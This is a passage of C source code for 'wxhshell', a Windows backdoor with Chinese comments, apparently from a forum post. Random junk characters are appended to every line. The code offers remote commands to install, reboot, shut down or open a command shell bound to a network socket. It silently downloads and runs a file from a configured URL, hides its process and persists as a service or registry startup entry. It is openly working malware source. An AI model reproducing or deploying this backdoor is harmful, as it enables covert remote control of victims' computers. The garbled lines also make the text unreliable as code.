  // 帮助 J0Rz.=Y  
  case '?': { ps4Wwk(  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); B[k+#YYY  
    break; AF{7<v>/P  
  } 2&G1Q'!  
  // 安装 0 Ci"tA3"  
  case 'i': { T[2f6[#[_  
    if(Install()) B3k],k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q2"'W|I  
    else `'{%szmD  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,1.([%z+r  
    break; L M<=j  
    } js$a^6  
  // 卸载 &B>uPZ]  
  case 'r': { I;fw]/M%!  
    if(Uninstall()) R,b O{2O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T W;;OS[  
    else (Os OPTp  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D -\'P31  
    break; "Y J;-$rb  
    } Hi 0df3t  
  // 显示 wxhshell 所在路径 bm]dz;ljh  
  case 'p': { qCFXaj   
    char svExeFile[MAX_PATH]; pDnFT2  
    strcpy(svExeFile,"\n\r"); kJ5?BdvM&  
      strcat(svExeFile,ExeFile); u\& [@v  
        send(wsh,svExeFile,strlen(svExeFile),0); SwmPP-n  
    break; j7| \)x,  
    } . I9] `Q  
  // 重启 M5bj |tQ4  
  case 'b': { 113x9+w[  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); #j ~FA3O  
    if(Boot(REBOOT)) jH#^O ;A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s%?p%2&RA  
    else { jnLo[Cf,H8  
    closesocket(wsh); 'V1 -iJj9  
    ExitThread(0); UHDI9>G~,  
    } }R] }@i~i  
    break; z4%F2Czai&  
    } WoT z'  
  // 关机 !-}*jm p<  
  case 'd': { NCh(-E  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); f0`rJ?us  
    if(Boot(SHUTDOWN)) R;m0eG`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .Yv.-A=ZIg  
    else { {~{s=c0  
    closesocket(wsh); f0'Wq^^  
    ExitThread(0); /xbF1@XtL  
    } ;. [$  
    break; *Zo o  
    } 8$xKg3-3M  
  // 获取shell GZ>% &^E  
  case 's': { ^T1-dw(  
    CmdShell(wsh); vCe<-k  
    closesocket(wsh); &!EYT0=>p  
    ExitThread(0); ~0$F V  
    break; pD.@&J~  
  } mZJzBYM)  
  // 退出 3e<^-e)+xL  
  case 'x': { QZq9$;>dW  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); X!+ a;wr  
    CloseIt(wsh); ,$(v#Tz  
    break; T1]X   
    } vrldRn'*9  
  // 离开 z7}zf@Y-qv  
  case 'q': { >Ezwl5b  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Xr6 !b:UX  
    closesocket(wsh); U[ungvU1U  
    WSACleanup(); ?cxK~Y\  
    exit(1); }4ju2K  
    break; a9_KQ=&CI  
        } JBJ7k19;  
  } ]O ` [v  
  } <UL|%9=~  
9<r}s  
  // 提示信息 #.t{g8W\C  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Y,"MQFr(o  
} -ZON']|<}k  
  } a~TZ9yg+HL  
A0k>Nb\c3  
  return; g>-[-z$E3  
} `ha:Gf  
,5"]K'Vce  
// shell模块句柄 ti2_kYq  
int CmdShell(SOCKET sock) JX<W[P>M  
{ n^)9QQ  
STARTUPINFO si; .v&h>@'m  
ZeroMemory(&si,sizeof(si)); Qg.:w  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +B|X k[  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; w1G.^  
PROCESS_INFORMATION ProcessInfo; 1@dx(_  
char cmdline[]="cmd"; \)]2Uh|  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); io'Ovhf:  
  return 0; RUtS_Z&  
} XFe7qt;%  
9 (.9l\h  
// 自身启动模式 `v{X@x  
int StartFromService(void) i */U.'#  
{ OYy !4Fp  
typedef struct 'U0I.x(  
{ ng*E9Puu[  
  DWORD ExitStatus; A:J{  
  DWORD PebBaseAddress; Xkm2C)  
  DWORD AffinityMask; <5}du9@  
  DWORD BasePriority; e>Y2q|S85  
  ULONG UniqueProcessId; ?0%TE\I8  
  ULONG InheritedFromUniqueProcessId; 0l@+xS;  
}   PROCESS_BASIC_INFORMATION; lM%fgyX  
}]?G"f t K  
PROCNTQSIP NtQueryInformationProcess; gQDK?aQX  
)fL*Ws6  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Y/(-mcR  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; e;[8 GE.   
 nGd  
  HANDLE             hProcess; I@M^Wu]wW  
  PROCESS_BASIC_INFORMATION pbi; mcG$V0D <{  
lhj2u]yU0S  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); % "^XxVJ*  
  if(NULL == hInst ) return 0; OFbg]{ub?  
6|Q'\  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 5/ju it  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); .)zISa*Xy  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); c3t8yifQ  
" ?,6{\y,  
  if (!NtQueryInformationProcess) return 0; (\>'yW{f  
-Lb^O/  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Rw 8o]  
  if(!hProcess) return 0; DdO '  
mhuaXbr  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ;VRR=p%,  
%/on\*Vh3  
  CloseHandle(hProcess); e_-/p`9  
*b_54X%3  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ~`H<sJ?9  
if(hProcess==NULL) return 0; mh]$g<*m  
r/2:O92E  
HMODULE hMod; `0D1Nh"%k  
char procName[255]; 7#3)&"j  
unsigned long cbNeeded; D:EF@il  
)c !S@Hs  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); LL [>Uu?Y  
e6'O,\  
  CloseHandle(hProcess); Th^#H  
kc[["w&  
if(strstr(procName,"services")) return 1; // 以服务启动 &Qjl|2  
N Z`hy>LF^  
  return 0; // 注册表启动 i`'^ zR(`i  
} FM[To  
RY< b]|  
// 主模块 vDvGT<d  
int StartWxhshell(LPSTR lpCmdLine) ^W'[l al.  
{ FJ"9Hs2  
  SOCKET wsl; hspg-|R  
BOOL val=TRUE; KLW+&.re8  
  int port=0; eMzCAO  
  struct sockaddr_in door; &N0|tn  
v2sU$M  
  if(wscfg.ws_autoins) Install(); ,ua1xsZl&  
7`!( 8  
port=atoi(lpCmdLine); ]H2aYi$  
-~f.>@Wb  
if(port<=0) port=wscfg.ws_port; Y cpO;md  
yFsXI0I[p  
  WSADATA data; pnJT]?},  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; qTF>!o #\:  
tvRy8u;  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   UV.9 KcN.  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); (=rv `1  
  door.sin_family = AF_INET; UUqj?'Nv  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); pa-4|)qY  
  door.sin_port = htons(port); jF9CTL<  
m)}MkC-  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { id'# s  
closesocket(wsl); ^mQfXfuL  
return 1; I_7EfAqg(  
} It-*CD9  
LP /4e`  
  if(listen(wsl,2) == INVALID_SOCKET) { fM.|#eLi  
closesocket(wsl); k^jCB>b  
return 1; s#ZH.z@J  
} Al}PJz\  
  Wxhshell(wsl); 2zu~#qU[)M  
  WSACleanup(); d 4R+gIA  
Lm#d.AD)  
return 0; F-0PmO~3+W  
or`stBx  
} ,c l<74d  
[{$0E=&0  
// 以NT服务方式启动 x$DJ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) k1zt|  
{ ]5/U}Um  
DWORD   status = 0; GJPZ[bo  
  DWORD   specificError = 0xfffffff; ]M;! ])b$  
7:'>~>'  
  serviceStatus.dwServiceType     = SERVICE_WIN32; c F]3gM  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; |>GIPfVT  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; H%aLkV!J  
  serviceStatus.dwWin32ExitCode     = 0; -74T C  
  serviceStatus.dwServiceSpecificExitCode = 0; >/bK?yT<  
  serviceStatus.dwCheckPoint       = 0; *DzPkaYD>  
  serviceStatus.dwWaitHint       = 0; 0EXNq*=EE  
y/eX(l<{  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Pc== ]H(  
  if (hServiceStatusHandle==0) return; :j4 [_9\  
@8yFM%  
status = GetLastError(); *!@x<Hf<  
  if (status!=NO_ERROR) u_=y,~s  
{ kZ%W?#  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; %[m1\h"1  
    serviceStatus.dwCheckPoint       = 0; _!p3M3"$B  
    serviceStatus.dwWaitHint       = 0; ,6\f4/  
    serviceStatus.dwWin32ExitCode     = status; :exuTn  
    serviceStatus.dwServiceSpecificExitCode = specificError; ',Pk>f]AB-  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); mXj Ljgc}  
    return; 5N<v'6&=  
  } q.{/{9  
/j@ `aG(a  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; olxP`iK  
  serviceStatus.dwCheckPoint       = 0; Nn1^#kc  
  serviceStatus.dwWaitHint       = 0; RGI6W{\  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); @A'1D@f#  
} e/jM+%  
Gi4dgMVei  
// 处理NT服务事件,比如:启动、停止 Wb4{*~  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Qp&yS U8  
{ h xJgxM  
switch(fdwControl) :=v{inN  
{ #q.G_-H4J@  
case SERVICE_CONTROL_STOP: b)^ZiRW``  
  serviceStatus.dwWin32ExitCode = 0; u?Mu*r?  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; HWOs@ !cL  
  serviceStatus.dwCheckPoint   = 0; PGl-2Cr  
  serviceStatus.dwWaitHint     = 0; } /3pC a  
  { % ul{nL:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); z}&C(m:al  
  } fhx:EZ:~  
  return; ){6)?[G  
case SERVICE_CONTROL_PAUSE: )0MshgM  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; w1(06A}/  
  break; v} ;qMceJ  
case SERVICE_CONTROL_CONTINUE: G<6grd5PP  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; $50"3g!Y  
  break; }(EOQ2TI  
case SERVICE_CONTROL_INTERROGATE: z}2e;d 7  
  break; WTs[Sud/  
}; G11.6]?Gg  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \&)W#8V  
} #gJ~ {tA:  
8Flf,"a   
// 标准应用程序主函数 l5]oS? >y  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) v/.h%6n?  
{ &})d%*n  
U*"cf>dB(  
// 获取操作系统版本 i/~QJ1C  
OsIsNt=GetOsVer(); (ul-J4E\O  
GetModuleFileName(NULL,ExeFile,MAX_PATH); %kFELtx  
(H%d]  
  // 从命令行安装 CVG>[~}(9'  
  if(strpbrk(lpCmdLine,"iI")) Install(); 8'WMspX  
f<altz_\q  
  // 下载执行文件 ai  _fN  
if(wscfg.ws_downexe) { k&iScMgCTH  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ^|i\d \  
  WinExec(wscfg.ws_filenam,SW_HIDE); ,T*_mDVY  
} L^{;jgd&T9  
$_zkq@  
if(!OsIsNt) { mKQST ]5  
// 如果时win9x,隐藏进程并且设置为注册表启动 fB,1s}3Hn  
HideProc(); :_,]?n  
StartWxhshell(lpCmdLine); "u8o?8+q~  
} G,|]a#w&v.  
else 1(7.V-(G  
  if(StartFromService()) 'qF3,Rw  
  // 以服务方式启动 TKu68/\)  
  StartServiceCtrlDispatcher(DispatchTable); 7h#faOP  
else j*~dFGl)  
  // 普通方式启动 OK?3,<x  
  StartWxhshell(lpCmdLine); J$9xC{L4  
3kqV_Pjg  
return 0; <*Kh=v  
}
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只看该作者 1 发表于: 2006-10-10
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